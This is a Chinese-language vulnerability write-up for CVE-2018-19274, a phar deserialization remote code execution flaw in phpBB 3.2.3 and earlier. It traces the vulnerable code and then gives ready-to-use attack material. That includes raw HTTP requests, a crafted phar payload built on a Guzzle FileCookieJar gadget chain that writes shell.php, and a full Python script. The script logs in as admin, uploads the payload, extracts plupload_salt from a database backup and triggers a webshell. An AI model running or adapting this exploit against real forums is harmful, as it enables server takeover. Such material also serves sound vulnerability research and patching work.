（CVE-2018-19274）PhpBB Phar反序列化远程代码漏洞¶
一、漏洞简介¶
攻击者若通过社工，弱口令，钓鱼等方式拥有控制管理面板权限，可先前台上传恶意附件，再进入后台控制管理面板利用设置中对路径的验证的功能，结合PHP phar 反序列化进行php对象注入，构造可用的恶意攻击链，获取Webshell。
二、漏洞影响¶
phpBB v3.2.3及以前的版本
三、复现过程¶
漏洞分析¶
先看触发php phar反序列化漏洞的核心代码如下：
文件位置：phpBB3/includes/functions_acp.php::validate_config_vars
通过file_exists函数判断$path是否存在，此处若可以被我们上传PHAR归档包，文件路径若被我们可知可控，就可以通过phar://协议进行反序列化攻击。
触发点分析¶
首先是载入的时候调用acp_attachments->main()方法
文件位置：phpBB3/includes/acp/acp_attachments.php
关键函数为validate_config_vars函数，第一个参数为$display_vars['vars']来自上文的系统配置定义：
第二个参数通过$_REQUEST接收，post发送数组参数config，被赋值成为$cfg_array
两个参数传入validate_config_vars函数，继续跟进。
文件位置：phpBB3/includes/functions_acp.php
进入函数后使用foreach对$config_vars进行遍历，键名为$config_name，键值为$config_definition。
先对$cfg_array进行判断，也就是post数组中必须有和系统配置数组相同的键名的数组；然后又对键值的判断是否存在$config_definition['validate']。两个条件需要同时满足，不满足就跳过此变量循环，存在就对$config_definition['validate']进行分割为数组，并取第0个参数传进switch进行匹配，可以发现利用点在wpath分支里：
满足上文两条件并且$validator[$type]==wpath才能进入分支，对系统配置数组进行筛选，暂时发现只有键名为upload_path的数组满足条件。
但是在进入路径判断前有一个三元运算
$path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
经过判断$config_definition['validate']在数组之中，所以会走第一个分支，$cfg_array[$config_name]就是post数组变量，此处可控，但是会和$phpbb_root_path进行拼接。文件位置：phpBB3/adm/index.php
因此拼接后的$path会变成./../xxxxxxxxxx，路径出错无法利用，如下。
但是这里的整个switch语句犯了一个较为低级的错误，部分条件的语句段没有使用break进行结束。
switch执行方式：开始时没有代码被执行。仅当一个 case语句中的值和
switch表达式的值匹配时 PHP
才开始执行语句，直到switch的程序段结束或者遇到第一个break
语句为止。如果不在case的语句段最后写上break的话，PHP
将继续执行下一个case中的语句段。
因此需要在$config_vars找到一个元素$config_definition，并且$config_definition['validate']等于absolute_path或者absolute_path_writable或者path，这样就能即进入wpath执行也不增加$path的前缀
使用如下代码过滤：
foreach ($display_vars['vars'] as $key =>$value){
if (($value['validate'] === 'absolute_path') or ($value['validate'] === 'absolute_path_writable') or ($value['validate'] === 'path')){
print('66'.$key.'77');
}
}
发现img_imagick元素满足条件：
进入控制面板的附件设定，提交并该修改数据包
数据包如下，关键点为config[img_imagick]参数：
POST /phpBB3/adm/index.php?i=acp_attachments&mode=attach&sid=385d5172c29a3a9530d6b467a5691ffd HTTP/1.1
Host: www.0-sec.org
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 967
config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D=phar://../files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part/&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token=0910a5dc9a13fc50a0ead4656617642fa80daaf1
此时已经可以触发反序列化，还需上传包含利用链的恶意附件。
上传恶意附件¶
上传位置为前台发帖附件处:
处理文件上传的关键函数，以及函数调用栈：
文件位置：phpBB3/phpbb/plupload/plupload.php
在这里函数handle_upload可以实现多个chunk处理。$this->request->variable函数根据键名从请求中获取值，首先获取chunks的值，并判断chunk是否小于2，如果小于就直接返回，如果大于就开始进行多chunk处理。
然后进入关键的temporary_filepath函数：
这个就是计算上传文件路径的函数，$this->temporary_directory可知为./files/plupload，$file_name可控，\phpbb\files\filespec::get_extension($file_name)获取文件的后缀同样可控，比较麻烦的是$this->config['plupload_salt']存在于数据库中，但可以在管理面板中通过备份进行获取。
plupload_salt如下
此时已经完全可以计算路径
./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip
然后进入函数进行文件写入
中途会产生一个临时文件，但后面会删除，最后文件名还会增加.part后缀。
./files/plupload/c2f830acec21b6d3a45ff0f5b3f35273_5de5caf862ea58bbb27aff231f06c7f3zip.part
攻击数据包如下：
POST /phpBB3/posting.php?mode=post&f=2&sid=a3f8b226bd4ad508d8838284c0cfc332 HTTP/1.1
Host: www.0-sec.org
Content-Length: 1909
Origin: http://bugtest.com
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHMhmTMPyBMwbiEg
Accept: */*
Referer: http://bugtest.com/phpBB3/posting.php?mode=post&f=2&sid=52c63bf06fdeaef60de9b8fba1de97ad
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="name"
rai4over.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunk"
0
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="chunks"
3
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="add_file"
Add the file
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="real_filename"
payload.phar.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_id]"
16
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][is_orphan]"
1
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][real_filename]"
payload.zip
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][attach_comment]"
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="attachment_data[0][filesize]"
35802
------WebKitFormBoundaryuHMhmTMPyBMwbiEg
Content-Disposition: form-data; name="fileupload"; filename="payload.phar.zip"
Content-Type: application/zip
<?php __HALT_COMPILER(); ?>
ÕO:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:42:"/Applications/MAMP/htdocs/phpBB3/shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:18:"<?php phpinfo();?>";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}test.txtöì\~ضtest¨~ê÷z]©äg4GBMB
------WebKitFormBoundaryuHMhmTMPyBMwbiEg--
至此我们已经对上传文件路径内容可知可控，还恶意文件中的利用链。
利用链¶
利用PHP网络请求插件Guzzle完成反序列化利用。
文件位置：phpBB3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
析构函数调用save函数，最后使用file_put_contents完成文件写入，整个漏洞利用完成。
poc¶
# coding =utf-8
import requests
from bs4 import BeautifulSoup
import re
proxies = {
"http": "http://127.0.0.1:8080",
}
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
return m.hexdigest()
if __name__ == '__main__':
target = "http://bugtest.com/phpBB3"
admin_account = 'admin'
admin_pwd = '123456'
phar_payload = 'payload.phar.zip'
upfilename = 'rai4over.zip'
r = requests.Session()
data = {
'username': admin_account,
'password': admin_pwd,
'login': 'Login'
}
print('Start logging in to the administrator account')
rs = r.post(target + '/ucp.php?mode=login', data=data)
html = rs.text
if ('header-profile dropdown-container' in html) and ("class=\"username-coloured\">" + admin_account in html):
print('OK! The administrator account is successfully logged in')
else:
exit('No! Login failed . Probably because of the verification code')
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'sid'})
sid = input['value']
file = {
'fileupload': open(phar_payload, "rb").read()
}
data = {
'name': upfilename,
'chunk': 0,
'chunks': 3,
'add_file': 'Add the file',
'real_filename': 'payload.phar.zip'
}
rs = r.post(target + '/posting.php?mode=post&f=2&sid=' + sid, files=file, data=data)
if 'jsonrpc' not in rs.text:
exit('Upload fail')
else:
print('Uploading malicious file successfully')
Admin_Control = target + '/adm/index.php?sid=' + sid
print("Get Administration Control Panel URL ：" + Admin_Control)
rs = r.get(Admin_Control)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'type': 'password'})
passwd_id = input['id']
credential = soup.find('input', attrs={'name': 'credential'})
credential = credential['value']
data = {
'username': admin_account,
passwd_id: admin_pwd,
'login': 'Login',
'redirect': './../adm/index.php',
'credential': credential
}
rs = r.post(target + '/adm/index.php?sid=' + sid, data=data)
html = rs.text
if '<title>ACP index</title>' in html:
print('Administration Control Panel login successful')
soup = BeautifulSoup(html, "html.parser")
div = soup.find('div', attrs={'id': 'page-header'})
sid = div.a['href'][-32:]
rs = r.get(target + '/adm/index.php?i=acp_database&mode=backup&sid=' + sid)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'form_token'})
form_token = input['value']
input = soup.find('input', attrs={'name': 'creation_time'})
creation_time = input['value']
data = "type=data&method=text&where=download&table%5B%5D=phpbb_config&submit=Submit&creation_time={creation_time}&form_token={form_token}".format(
creation_time=creation_time, form_token=form_token)
rs = r.post(target + '/adm/index.php?i=acp_database&mode=backup&action=download&sid=' + sid, data=data,
headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"})
html = rs.text
if 'phpBB Backup Script' in html:
print('Database download succeeded')
matchObj = re.search(r"\('plupload_salt', '(.*?)', 0\)", html, re.M | re.I)
if matchObj:
plupload_salt = matchObj.group(1)
print('Get the plupload_salt successfully ：{plupload_salt}'.format(plupload_salt=plupload_salt))
else:
exit('Get the plupload_salt failed')
else:
exit('Database download failed')
print('Calculate the name of the phar')
name = "{plupload_salt}_{md5name}zip.part".format(plupload_salt=plupload_salt, md5name=md5(upfilename))
rs = r.get(target + '/adm/index.php?i=acp_attachmenpartts&mode=attach&sid=' + sid)
html = rs.text
soup = BeautifulSoup(html, "html.parser")
input = soup.find('input', attrs={'name': 'form_token'})
form_token = input['value']
print("Get form_token from Attachment settings：{form_token}".format(form_token=form_token))
data = "config%5Ballow_attachments%5D=1&config%5Ballow_pm_attach%5D=0&config%5Bupload_path%5D=files&config%5Bdisplay_order%5D=0&config%5Battachment_quota%5D=50&attachment_quota=mb&config%5Bmax_filesize%5D=256&max_filesize=kb&config%5Bmax_filesize_pm%5D=256&max_filesize_pm=kb&config%5Bmax_attachments%5D=3&config%5Bmax_attachments_pm%5D=1&config%5Bsecure_downloads%5D=0&config%5Bsecure_allow_deny%5D=1&config%5Bsecure_allow_empty_referer%5D=1&config%5Bcheck_attachment_content%5D=1&config%5Bimg_display_inlined%5D=1&config%5Bimg_create_thumbnail%5D=0&config%5Bimg_max_thumb_width%5D=400&config%5Bimg_min_thumb_filesize%5D=12000&config%5Bimg_imagick%5D={upfile}&config%5Bimg_max_width%5D=0&config%5Bimg_max_height%5D=0&config%5Bimg_link_width%5D=0&config%5Bimg_link_height%5D=0&submit=Submit&ips=&ipexclude=0&creation_time=1552465991&form_token={form_token}".format(
form_token=form_token,
upfile='phar://../files/plupload/' + name)
rs = r.post(target + '/adm/index.php?i=acp_attachments&mode=attach&sid=' + sid, data=data)
print('Get webshell succeeded')